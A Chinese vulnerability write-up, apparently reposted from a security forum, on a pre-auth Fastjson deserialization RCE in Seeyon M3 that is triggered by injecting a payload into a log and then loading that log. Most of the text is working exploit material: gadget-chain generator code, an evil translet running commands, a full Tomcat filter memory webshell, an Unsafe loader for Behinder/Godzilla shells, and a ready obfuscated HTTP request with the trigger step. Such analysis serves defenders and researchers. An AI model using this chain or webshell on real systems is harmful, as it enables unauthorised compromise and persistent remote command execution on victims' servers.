某远M3 前台远程代码执行漏洞
2023-11-20 16:24:57 Author: xz.aliyun.com(查看原文) 阅读量:20 收藏

致远M3远程代码执行漏洞

前言

这个漏洞是今年国家护网爆出来,虽然漏洞类型是个Fastjson漏洞,但个人认为漏洞的具体细节也是挺有趣的。

分析

分为两步,第一步是通过/mobile_portal/api/pns/message/send/batch/6_1sp1接口将我们的payload存入日志里面,然后通过/mobile_portal/api/systemLog/pns/loadLog/app.log接口会将日志中的JSON数据进行反序列化,从而触发Fastjson漏洞。

第一步

在这个项目中,获取路由的方式是@PATH的注解或者xxxResource的类名

进入到/message/send/batch/6_1sp1路由

跟入M3PushMessageTask.getInstance(),获取一个M3PushMessageTask实例

Thread.start()方法会开启一个线程,当然AsynchronizedSendTask继承了Runnable,就会执行run方法

在该方法中,就是获取addMessageAll添加进去的message,然后调用sendMessageByV61sp1方法

sendMessageByV61sp1方法,会根据我们传入的message中的serviceProvider获取对应的PushPublisher

在payload中,我们赋值"serviceProvider":"baidu",进入BaiduPushPublisher

getPushService也就是获取BaiduPushPublisher实例

Payload的"deviceType":"androidphone" ,进入sendAndroidMessage方法

这个方法中就是漏洞的重点了

代码直接结束后,它会直接将我们message的userMessageId直接写到我们的日志中(所以我们fastjson漏洞触发的部分就需要放到userMessageId

第二步

我们查看日志,JSON数据放在/logs_pns/app.log

接口就是/mobile_portal/api/systemLog/pns/loadLog/app.log

读取日志中内容,然后调用setLogList

setLogList方法,直接就调用JSON.Util.parseJSONString()触发漏洞

触发的调用栈

at org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:171)
    at java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:722)
    at java.util.PriorityQueue.siftDown(PriorityQueue.java:688)
    at java.util.PriorityQueue.heapify(PriorityQueue.java:737)
    at java.util.PriorityQueue.readObject(PriorityQueue.java:797)
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:498)
    at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1170)
    at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2178)
    at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2069)
    at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1573)
    at java.io.ObjectInputStream.readObject(ObjectInputStream.java:431)
    at com.mchange.v2.ser.SerializableUtils.deserializeFromByteArray(SerializableUtils.java:132)
    at com.mchange.v2.ser.SerializableUtils.fromByteArray(SerializableUtils.java:111)
    at com.mchange.v2.c3p0.impl.C3P0ImplUtils.parseUserOverridesAsString(C3P0ImplUtils.java:341)
    at com.mchange.v2.c3p0.WrapperConnectionPoolDataSource$1.vetoableChange(WrapperConnectionPoolDataSource.java:95)
    at java.beans.VetoableChangeSupport.fireVetoableChange(VetoableChangeSupport.java:375)
    at java.beans.VetoableChangeSupport.fireVetoableChange(VetoableChangeSupport.java:271)
    at com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase.setUserOverridesAsString(WrapperConnectionPoolDataSourceBase.java:344)
    at Fastjson_ASM_WrapperConnectionPoolDataSource_8.deserialze(Unknown Source)
    at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:249)
    at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:124)
    at com.alibaba.fastjson.parser.deserializer.ASMJavaBeanDeserializer.deserialze(ASMJavaBeanDeserializer.java:31)
    at Fastjson_ASM_PushMessage_1.deserialze(Unknown Source)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:500)
    at com.alibaba.fastjson.JSON.parseObject(JSON.java:214)
    at com.alibaba.fastjson.JSON.parseObject(JSON.java:174)
    at com.alibaba.fastjson.JSON.parseObject(JSON.java:295)
    at com.seeyon.portal.core.utils.JSONUtil.parseJSONString(JSONUtil.java:83)
    at com.seeyon.portal.rest.resources.LogResource.setLogList(LogResource.java:163)
    at com.seeyon.portal.rest.resources.LogResource.readLog(LogResource.java:112)
    at com.seeyon.portal.rest.resources.LogResource.loadLog(LogResource.java:55)

总结

这个漏洞的思路挺好的,利用将传入的数据到日志里,然后通过日志读取的接口对日志内容进行Fastjson的反序列化,从而达到RCE。

注意的是:

JSON.parseObject(jsonString,PushMessage.class) 这种是不能触发Fastjson的

漏洞利用

我们利用C3P0依赖的利用Fastjson加载HEX编码,实现二次反序列化,打RCE

反序列化部分,可以利用CB链去打TemplateImpl加载字节码的

同时因为第一步传入的需要是个List类型,所以需要在JSON数据外面加个[]

生成反序列化的部分

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class M3Payload {
    static void addHexAscii(byte b, StringWriter sw)
    {
        int ub = b & 0xff;
        int h1 = ub / 16;
        int h2 = ub % 16;
        sw.write(toHexDigit(h1));
        sw.write(toHexDigit(h2));
    }

    private static char toHexDigit(int h)
    {
        char out;
        if (h <= 9) out = (char) (h + 0x30);
        else out = (char) (h + 0x37);
        return out;
    }

    //字节数组转十六进制
    public static String toHexAscii(byte[] bytes)
    {
        int len = bytes.length;
        StringWriter sw = new StringWriter(len * 2);
        for (int i = 0; i < len; ++i)
            addHexAscii(bytes[i], sw);
        return sw.toString();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.get(Serialize_Evil.class.getName());
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{ctClass.toBytecode()});
        setFieldValue(templates, "_name", "123");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        BeanComparator beanComparator = new BeanComparator("outputProperties");
        PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
        setFieldValue(priorityQueue, "queue", new Object[]{templates, templates});
        setFieldValue(priorityQueue, "size", 2);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(priorityQueue);
        System.out.println(toHexAscii(baos.toByteArray()));
    }
}
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class  Serialize_Evil extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public Serialize_Evil() throws Exception {
        super();
        Runtime.getRuntime().exec("ping xxxxx");
    }
}

如果要打一个filter内存马

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Map;

public class Serialize_FilterMemshell extends AbstractTranslet implements Filter{

    private final String cmdParamName = "cmd";
    private final static String filterUrlPattern = "/filter";
    private final static String filterName = "TestFilter";

    static {
        try {
            //获取StandardContext
            Class c = Class.forName("org.apache.catalina.core.StandardContext");
            java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
            contextField.setAccessible(true);
            org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
                    (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
            Field stdctx = applicationContext.getClass().getDeclaredField("context");  // 获取属性
            stdctx.setAccessible(true);
            StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
            //获取filterConfigs
            Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);
            if (filterConfigs.get(filterName) == null){
                Filter filter=new Serialize_FilterMemshell();

                FilterDef filterDef = new FilterDef();
                filterDef.setFilter(filter);
                filterDef.setFilterName(filterName);
                filterDef.setFilterClass(filter.getClass().getName());
                standardContext.addFilterDef(filterDef);

                FilterMap filterMap = new FilterMap();
                filterMap.addURLPattern("/filter");
                filterMap.setFilterName(filterName);
                filterMap.setDispatcher(DispatcherType.REQUEST.name());

                standardContext.addFilterMapBefore(filterMap);

                Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
                constructor.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

                filterConfigs.put(filterName,filterConfig);

                if (standardContext != null){
                    //将我们的filter放到最前面
                    Class ccc = null;
                    try {
                        ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                    } catch (Throwable t){}
                    if (ccc == null) {
                        try {
                            ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
                        } catch (Throwable t){}
                    }


                    Method m = c.getMethod("findFilterMaps");
                    Object[] filterMaps = (Object[]) m.invoke(standardContext);
                    Object[] tmpFilterMaps = new Object[filterMaps.length];
                    int index = 1;
                    for (int i = 0; i < filterMaps.length; i++) {
                        Object o = filterMaps[i];
                        m = ccc.getMethod("getFilterName");
                        String name = (String) m.invoke(o);
                        if (name.equalsIgnoreCase(filterName)) {
                            tmpFilterMaps[0] = o;
                        } else {
                            tmpFilterMaps[index++] = filterMaps[i];
                        }
                    }
                    for (int i = 0; i < filterMaps.length; i++) {
                        filterMaps[i] = tmpFilterMaps[i];
                    }

                }
            }

        } catch (Exception e){
            e.printStackTrace();
        }
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        System.out.println("Do Filter ......");
        String cmd;
        if ((cmd = servletRequest.getParameter(cmdParamName)) != null && servletRequest.getParameter("flag").equals("qwer")) {
            Process process = Runtime.getRuntime().exec(cmd);
            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                    new java.io.InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
            return;
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }

    @Override
    public void destroy() {

    }
}

但是实战中更常用的是打一个冰蝎马或者哥斯拉马,我们利用JMG工具生成对应的字节码,然后直接加载字节码即可。

String str = "xxxxx";
byte[] bytes = Base64.getDecoder().decode(str);
Field theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe)theUnsafe.get(null);
unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bytes, null).newInstance();

POC

https://mp.weixin.qq.com/s/9TsQhLcTSVDYW3usG1j5Xw

对于unicode字符,FastJSON会自动处理解析的

POST /mobile_portal/api/pns/message/send/batch/6_1sp1 HTTP/1.1
Host: User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_82116c626a8d504a5c0675073362ef6f=1666334057
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json
Content-Length: 3680

[{"userMessageId":"{\"@\u0074\u0079\u0070\u0065\":\"\u0063\u006f\u006d\u002e\u006d\u0063\u0068\u0061\u006e\u0067\u0065\u002e\u0076\u0032\u002e\u0063\u0033\u0070\u0030\u002e\u0057\u0072\u0061\u0070\u0070\u0065\u0072\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0050\u006f\u006f\u006c\u0044\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\",\"\u0075\u0073\u0065\u0072\u004f\u0076\u0065\u0072\u0072\u0069\u0064\u0065\u0073\u0041\u0073\u0053\u0074\u0072\u0069\u006e\u0067\":\"\u0048\u0065\u0078\u0041\u0073\u0063\u0069\u0069\u0053\u0065\u0072\u0069\u0061\u006c\u0069\u007a\u0065\u0064\u004d\u0061\u0070:HEX;\"}|","channelId":"111","title":"111","content":"222","deviceType":"androidphone","serviceProvider":"baidu","deviceFirm":"other"}]

然后再 Get 访问/mobile_portal/api/systemLog/pns/loadLog/app.log


文章来源: https://xz.aliyun.com/t/13078
如有侵权请联系:admin#unsafe.sh